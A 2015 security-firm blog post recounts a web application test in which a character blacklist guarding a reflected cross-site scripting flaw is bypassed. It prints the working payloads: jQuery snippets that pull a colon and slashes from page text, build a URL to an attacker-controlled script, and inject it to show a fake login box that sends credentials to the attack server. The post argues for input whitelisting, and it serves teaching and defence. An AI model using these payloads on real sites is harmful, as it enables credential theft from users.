Nettitude Blog

Input Blacklisting – Is It Ever The Correct Approach?

Posted by Iain Wallace on Apr 22, 2015 10:09:04 AM

Background

In this post, I am going to explore a real world instance of a blacklist style defence against Cross Site Scripting.  Despite the seemingly thorough nature of the blacklist, a creative approach soon leads to the defences being defeated, demonstrating that a moderate impact attack would be possible.

Vulnerability

In a recent web application test, one area of the application was found to take an order number from a provided section of the URL.

The request path for a legitimate page would normally look like this:

[cpp]
/Order/123456
[/cpp]

However, it was quickly spotted that the location in the page where the order number (e.g. 123456) was rendered was inside of a <script> element and that basic JavaScript could be executed. For example, the request path,

[cpp]
/Order/123456;alert(1) ,
[/cpp]

Would result in code rendered on the page which looks like this:

[cpp]

<script>

var ordered = 123456;alert(1);

</script>

[/cpp]

This resulted in an alert box appearing in the user’s browser – the classic proof of concept for any Cross Site Scripting vulnerability.

 The Attacker’s Problem

We then looked at what other characters were available to be used and whether this could result in arbitrary code to be run from another domain. It was found that:

  •  Everything was converted to lowercase. This reduced the number of JavaScript functions that could be used, which often include upper and lowercase characters to work, e.g. String.fromCharCode(41);
  • Angle brackets (i.e. < and >) were blocked by .NET request validation
  • Due to the way the request parameter was handled, the request could not contain slashes (/) or the colon (:) character
  • The plus (+) character appeared to break the logic of the page and display a different error message

All of this meant that exploitation of the Cross Site Scripting vulnerability did not look to be possible in any meaningful way.

Nettitude’s Solution

This is a classic example of blacklisting. There is effectively a list of characters which can’t be used. However, blacklists can often be circumvented. In order to do this we needed to find a way of achieving the following tasks:

  1. Constructing a URL string that points to a malicious script, which contains slashes and a colon (https://) without supplying those characters directly
  2. Creating a script element without access to HTML mark-up characters or DOM manipulation methods, like createElement()

Fortunately, jQuery was also included on the vulnerable page, which made things a lot easier. First of all, we found somewhere on the page that already contains the characters we want.  Then we got the contents of that part of the page and subsequently saved it into a variable:

[cpp]

c=$(‘style’).text().substr(35,1);// This part gets a colon character from a stylesheet element on the page

sl=$(‘script’).text().substr(1,2);// This part gets two slashes from a script element on the page

[/cpp]

These were then stuck together using the String.concat() method to construct a URL to our malicious script:

[cpp]

url=’https’.concat(c).concat(sl).concat(‘hostname’).concat(sl.substr(0,1)).concat(‘login.php’);

[/cpp]

This created the URL ‘https://hostname/login.php’, which was a JavaScript source file on our server. All that was needed then was to set this as the “src” attribute of a script element and make the browser run it. We did this by changing an existing script element and then copying it to the end of the document so that the DOM refreshes itself and runs the code.

[cpp]

$(‘script’)[0].src = url;

$(‘body’).append($(‘script’)[0]);

[/cpp]

This then rendered our malicious code, which displayed a fake login box that posted user credentials back to our attack server.

Blacklisting

 Conclusion

When approaching the problem of untrusted inputs, developers must only allow input which is entirely necessary for the running of the application, otherwise known as whitelisting. In the case of this application, only permitting integers in the input would have prevented the attack from working.  Ultimately, blacklisting is never the correct approach.

 

 

To contact Nettitude's editor, please contact media@nettitude.com.

Topics: Security Blog, Uncategorized